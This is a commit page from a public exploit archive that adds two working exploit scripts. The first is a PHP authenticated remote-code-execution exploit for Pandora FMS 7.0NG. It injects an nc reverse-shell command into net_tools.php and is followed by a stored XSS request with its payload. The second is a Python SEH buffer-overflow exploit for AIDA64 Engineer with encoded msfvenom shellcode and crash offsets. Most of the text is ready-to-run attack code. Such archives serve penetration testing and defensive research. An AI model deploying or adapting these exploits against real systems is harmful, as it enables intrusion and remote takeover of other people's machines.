DB: 2020-04-04
2 changes to exploits/shellcodes AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH) Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution
This commit is contained in:
Offensive Security
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3 changed files with 214 additions and 0 deletions
92
exploits/php/webapps/48280.py
Executable file
92
exploits/php/webapps/48280.py
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# Exploit Title: Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution
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# Build: PC170324 - MR 0
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# Date: 2020-03-30
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# Exploit Author: Basim Alabdullah
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# Vendor homepage: http://pandorafms.org/
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# Version: 7.0
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# Software link: https://pandorafms.org/features/free-download-monitoring-software/
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# Tested on: CentOS
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#
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# Authenticated Remote Code Execution
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#
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# Vulnerable file: extension/net_tools.php
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# Vulnerable Code:
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#
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# $traceroute = whereis_the_command ('traceroute');
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# if (empty($traceroute)) {
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# ui_print_error_message(__('Traceroute executable does not exist.'));
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# }
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# else {
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# echo "<h3>".__("Traceroute to "). $ip. "</h3>";
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# echo "<pre>";
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# ----> echo system ("$traceroute $ip");
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# echo "</pre>";
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#
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#
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<?php
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error_reporting(0);
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$username = $argv[2];
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$password = $argv[3];
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$url = $argv[1]."/index.php?login=1";
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$postinfo = "nick=".$username."&pass=".$password."&login_button=Login";
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$attackerip = $argv[4];
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$attackerport = $argv[5];
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$payload="127.0.0.1;{nc,-e,/bin/sh,".$attackerip.",".$attackerport."}";
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if(!empty($argv[1]))
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{
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$ch = curl_init();
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curl_setopt($ch, CURLOPT_HEADER, false);
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curl_setopt($ch, CURLOPT_NOBODY, false);
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curl_setopt($ch, CURLOPT_URL, $url);
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curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
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curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.tmp");
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curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7");
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curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
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curl_setopt($ch, CURLOPT_REFERER, $url);
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curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
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curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
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curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
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curl_setopt($ch, CURLOPT_POST, 1);
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curl_setopt($ch, CURLOPT_POSTFIELDS, $postinfo);
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curl_exec($ch);
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curl_close($ch);
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$ch1 = curl_init();
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curl_setopt($ch1, CURLOPT_HEADER, false);
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curl_setopt($ch1, CURLOPT_NOBODY, false);
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curl_setopt($ch1, CURLOPT_URL, $argv[1]."/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/ver_agente&tab=extension&id_agente=1&id_extension=network_tools");
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curl_setopt($ch1, CURLOPT_SSL_VERIFYHOST, 0);
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curl_setopt($ch1, CURLOPT_COOKIEFILE, "cookie.tmp");
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curl_setopt($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7");
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curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1);
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curl_setopt($ch1, CURLOPT_REFERER, $url);
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curl_setopt($ch1, CURLOPT_SSL_VERIFYPEER, 0);
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curl_setopt($ch1, CURLOPT_FOLLOWLOCATION, 1);
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curl_setopt($ch1, CURLOPT_CUSTOMREQUEST, "POST");
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curl_setopt($ch1, CURLOPT_POST, 1);
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curl_setopt($ch1, CURLOPT_POSTFIELDS, "operation=2&select_ips=".$payload."&community=public&submit=Execute");
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curl_exec($ch1);
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curl_close($ch1);
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echo $payload."\n";
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}
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else{
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echo "\n\nphp exploit.php http://127.0.0.1/pandora_console/ username password attacker-ip attacker-port\n\n";
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}
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?>
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#
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# Persistent Cross-Site Scripting.
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# The value of the similar_ids request parameter is copied into the value of an HTML tag attribute which is an event handler and is encapsulated in double quotation marks. The payload 23859';document.location=1//981xgeu3m was submitted in the similar_ids parameter. This input was echoed as 23859';document.location=1//981xgeu3m in the application's response.
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#
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# GET /pandora_console/ajax.php?page=include%2Fajax%2Fevents&get_extended_event=1&group_rep=1&event_rep=1&dialog_page=general&similar_ids=2123859'%3bdocument.location%3d1%2f%2f981xgeu3m×tamp_first=1585865889×tamp_last=1585865889&user_comment=&event_id=21&server_id=0&meta=0&childrens_ids=%5B0%2C12%2C8%2C4%2C9%2C2%2C10%2C13%2C11%5D&history=0
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# HTTP/1.1
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# Host: pandorafms.host
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# User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0
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# Accept: text/html, */*; q=0.01
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# Accept-Language: en-US,en;q=0.5
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# Accept-Encoding: gzip, deflate
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# Referer: http://pandorafms.host/pandora_console/index.php?sec=eventos&sec2=operation/events/events
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# X-Requested-With: XMLHttpRequest
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# Connection: close
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# Cookie: clippy_is_annoying=1; PHPSESSID=tn2pdl4p1qiq4bta26psj0mcj1
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120
exploits/windows/local/48281.py
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exploits/windows/local/48281.py
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# Exploit Title: AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH)
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# Date: 2020-04-02
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# Exploit Author: Hodorsec
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# Version: v6.20.5300
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# Software Link: http://download.aida64.com/aida64engineer620.exe
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# Vendor Homepage: https://www.aida64.com/products/aida64-engineer
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# Tested on: Win7 x86 SP1 - Build 7601
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# Description:
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# - Exploits the "Report File" buffer when sending an e-mail report via the Report wizard. Entering an overly long string, results in a crash which overwrites SEH.
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# Reproduction:
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# - Use indicated OS or manipulate settings: your mileage may vary due to different offsets on other Windows versions / SP's.
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# - Run the script, a TXT file will be generated
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# - On the Windows machine, open the TXT file in Wordpad. Copy the contents to clipboard (ctrl+c)
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# - Open AIDA64 Engineer
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# - First, click on "File", "Preferences"
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# - Click menu "Report", "Report File"
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# - Enter a long string in the field "File name"
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# - Set "File extension" to automatic, as by default
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# - Click OK
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# - Second, in the main menu, click "Report" which shows the "Report Wizard"
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# - Next, "System Summary only", next, "Plain Text", Finish
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# - Click the button "Send In E-mail"
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# - Check results
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# WinDBG initial crash output using only A's:
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# (994.998): Access violation - code c0000005 (!!! second chance !!!)
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# eax=03ac1048 ebx=03ac100c ecx=03ac109c edx=77f070f4 esi=03ac1140 edi=00000000
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# eip=77f133a8 esp=03ac0fc8 ebp=03ac1000 iopl=0 nv up ei pl nz ac po nc
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# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
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# ntdll!RtlAcquireSRWLockShared+0x1a:
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# 77f133a8 8365f400 and dword ptr [ebp-0Ch],0 ss:0023:03ac0ff4=????????
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#!/usr/bin/python
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import sys,struct
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filename = "aida64_engineer_poc.txt"
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# Maximum length
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maxlen = 5000
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# Shellcode, using alphanum chars due to bytes considered to be bad above \x7f
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# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c -b '\x00\x0a\x0d' bufferregister=eax
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# Payload size: 440 bytes
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shellcode = (
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"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
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"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
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"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
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"\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x49\x78\x6d\x52\x33\x30"
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"\x45\x50\x45\x50\x53\x50\x6b\x39\x6d\x35\x36\x51\x49\x50\x43"
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"\x54\x6e\x6b\x52\x70\x54\x70\x6c\x4b\x51\x42\x66\x6c\x4c\x4b"
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"\x62\x72\x52\x34\x6e\x6b\x54\x32\x46\x48\x54\x4f\x6d\x67\x52"
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"\x6a\x57\x56\x36\x51\x6b\x4f\x4e\x4c\x47\x4c\x31\x71\x71\x6c"
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"\x53\x32\x36\x4c\x37\x50\x5a\x61\x6a\x6f\x54\x4d\x77\x71\x5a"
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"\x67\x7a\x42\x38\x72\x70\x52\x46\x37\x4e\x6b\x53\x62\x52\x30"
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"\x6c\x4b\x52\x6a\x47\x4c\x4c\x4b\x50\x4c\x67\x61\x51\x68\x78"
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"\x63\x43\x78\x56\x61\x4a\x71\x53\x61\x6c\x4b\x33\x69\x55\x70"
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"\x37\x71\x6a\x73\x4c\x4b\x43\x79\x72\x38\x49\x73\x46\x5a\x32"
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"\x69\x4c\x4b\x44\x74\x6e\x6b\x67\x71\x58\x56\x54\x71\x6b\x4f"
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"\x6e\x4c\x49\x51\x78\x4f\x44\x4d\x63\x31\x68\x47\x30\x38\x79"
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"\x70\x30\x75\x68\x76\x43\x33\x51\x6d\x69\x68\x75\x6b\x61\x6d"
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"\x74\x64\x44\x35\x78\x64\x52\x78\x6c\x4b\x73\x68\x74\x64\x57"
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"\x71\x68\x53\x31\x76\x4c\x4b\x46\x6c\x32\x6b\x6e\x6b\x76\x38"
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"\x47\x6c\x43\x31\x6b\x63\x6c\x4b\x33\x34\x6e\x6b\x46\x61\x38"
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"\x50\x4c\x49\x77\x34\x31\x34\x61\x34\x43\x6b\x71\x4b\x53\x51"
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"\x42\x79\x33\x6a\x62\x71\x6b\x4f\x4b\x50\x53\x6f\x61\x4f\x52"
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"\x7a\x4c\x4b\x62\x32\x68\x6b\x6c\x4d\x33\x6d\x51\x7a\x37\x71"
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"\x4e\x6d\x4d\x55\x38\x32\x75\x50\x77\x70\x63\x30\x50\x50\x55"
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"\x38\x66\x51\x6e\x6b\x62\x4f\x6c\x47\x39\x6f\x59\x45\x4f\x4b"
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"\x78\x70\x58\x35\x49\x32\x52\x76\x53\x58\x4c\x66\x6c\x55\x6d"
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"\x6d\x4d\x4d\x79\x6f\x59\x45\x65\x6c\x46\x66\x51\x6c\x64\x4a"
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"\x4f\x70\x39\x6b\x59\x70\x64\x35\x47\x75\x6d\x6b\x73\x77\x66"
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"\x73\x42\x52\x42\x4f\x62\x4a\x75\x50\x31\x43\x59\x6f\x5a\x75"
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"\x51\x73\x33\x51\x62\x4c\x55\x33\x46\x4e\x70\x65\x70\x78\x53"
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"\x55\x65\x50\x41\x41"
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)
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# Align the registers
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# ESI = 04aaefc0, Buffer = 04abfb6c. Buffer - ESI = 0x010b8d
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align_eax = (
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"\x56" # PUSH ESI
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"\x58" # POP EAX
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"\x66\x05\x3f\x10" # ADD AX,0x103f # EAX = 0x04aaffff
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"\x40" # INC EAX # EAX = 0x04ab0000
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"\x66\x05\x01\x7F" # ADD AX,0x7f01 # EAX = 0x04ab7f01
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"\x66\x05\x6b\x7c" # ADD AX,0x7c6b # EAX = 0x04abfb6c
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"\x50" # PUSH EAX
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)
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# Offsets
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crash_ebp = 307
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crash_esi = 1583
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crash_seh = 319
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crash_nseh = crash_seh - 4
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# Variables
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ascii_nop = "\x47" # Doesn't do anything particular for this program
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nops = ascii_nop * 32 # ASCII NOP's amount
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# Prefix
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prefix = "A" * crash_nseh
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nseh = "\x71\x06\x70\x04" # JNO SHORT # JO SHORT # Jump over NSEH/SEH
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seh = struct.pack("<L", 0x0121076e) # POP POP RET # aida64.exe
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suffix = align_eax # Align registers to execute shellcode
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suffix += nops # Some ASCII friendly NOP's
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suffix += shellcode # Magic!
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suffix += "D" * (maxlen - len(prefix + nseh + seh + suffix)) # Filler
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# Concatenate string for payload
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payload = prefix + nseh + seh + suffix # Put it all together
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try:
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file = open(filename,"wb")
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file.write(payload)
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file.close()
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print "[+] File " + filename + " with size " + str(len(payload)) + " created successfully"
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except:
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print "[!] Error creating file!"
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sys.exit(0)
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@ -11010,6 +11010,7 @@ id,file,description,date,author,type,platform,port
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48267,exploits/windows/local/48267.txt,"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation",2020-03-30,"Daniel García Gutiérrez",local,windows,
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48277,exploits/windows/local/48277.py,"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)",2020-04-01,Hodorsec,local,windows,
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48279,exploits/windows/local/48279.py,"DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)",2020-04-02,"Paras Bhatia",local,windows,
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48281,exploits/windows/local/48281.py,"AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH)",2020-04-03,Hodorsec,local,windows,
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1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
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2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
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5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
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@ -42524,3 +42525,4 @@ id,file,description,date,author,type,platform,port
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48266,exploits/cgi/webapps/48266.py,"Zen Load Balancer 3.10.1 - Remote Code Execution",2020-03-30,"Cody Sixteen",webapps,cgi,
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48270,exploits/hardware/webapps/48270.py,"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection",2020-03-31,"Jacob Baines",webapps,hardware,
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48271,exploits/hardware/webapps/48271.py,"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection",2020-03-31,"Jacob Baines",webapps,hardware,
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48280,exploits/php/webapps/48280.py,"Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution",2020-04-03,"Basim Alabdullah",webapps,php,
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